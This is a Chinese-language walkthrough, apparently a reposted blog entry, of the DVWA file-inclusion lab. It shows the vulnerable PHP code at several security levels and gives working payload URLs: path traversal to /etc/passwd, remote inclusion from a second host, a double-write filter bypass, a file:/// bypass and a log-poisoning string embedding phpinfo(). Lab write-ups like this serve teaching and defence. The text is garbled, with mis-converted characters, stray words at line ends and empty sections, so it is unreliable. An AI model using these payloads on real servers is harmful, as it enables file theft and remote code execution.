File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就能够经过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时若是没有对文件来源进行严格审查,就会致使任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是由于开启了php配置中的allow_url_fopen选项(选项开启以后,服务器容许包含一个远程的文件)。
本地文件包含(Loacl File Inclusion,LFI):
经过浏览器引进(包含)web服务器上的文件,这种漏洞是由于浏览器包含文件时没有进行严格 的过滤容许遍历目录的字符注入浏览器并执行。php
远程文件包含(Remote File Inclusion,RFI):
该漏洞容许攻击者包含一个远程的文件,通常是在远程服务器上预先设置好的脚本。 此漏洞是由于浏览器对用户的输入没有进行检查,致使不一样程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码html
系统中常见的敏感信息路径以下:
(1)Windows系统web
源码:shell
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
page参数没有任何过滤。点击三个文件名,服务器会包含相应的文件,page参数是不可控的。浏览器
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=/etc/passwd
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=../../../../../../etc/passwd
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会容许包含远程服务器上的文件,若是对文件来源没有检查的话,就容易致使任意远程代码执行。
在主机服务器建立test.txt文件安全
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=http://192.168.86.1/test.txt
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>
使用str_replace函数过滤了http://和https://,以及../和..。服务器
使用str_replace函数是极其不安全的,由于可使用双写绕过替换规则。
同时,由于替换的只是“../”、“..\”,因此对采用绝对路径的方式包含文件是不会受到任何限制的。
远程文件包含:http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=htthttp://p://192.168.86.1/test.txt
函数
源码:网站
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
fnmatch() 函数根据指定的模式来匹配文件名或字符串。ui
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; }
这个if语句的意思是若是page中不含有file而且page不等于include.php服务器才不回去包含相应的文件。两个条件只要不知足其中之一就能够,要么page等于include.php,要么page含有file。用file://流访问本地文件系统http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=file:///etc/passwd
源码:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
采用白名单机制进行防御,,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,完全杜绝了文件包含漏洞。
Apache运行后通常默认会生成两个日志文件,这两个文件是access.log(访问日志),和error.log(错误日志),Apache的访问日志文件记录了客户端的每次请求以及服务器响应的相关信息。
http://ww.XXX.com/<?php phpinfo();?>
一、严格判断包含中的参数是否外部可控。
二、路径限制,限制被包含的文件只能在某一个文件夹内,特别是必定要禁止目录跳转字符,如:“../”。
三、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
四、尽可能不要使用动态包含,能够在须要包含的页面固定写好,如:“include("head.php")”。
五、能够经过调用str_replace()函数实现相关敏感字符的过滤,必定程度上防护了远程文件包含。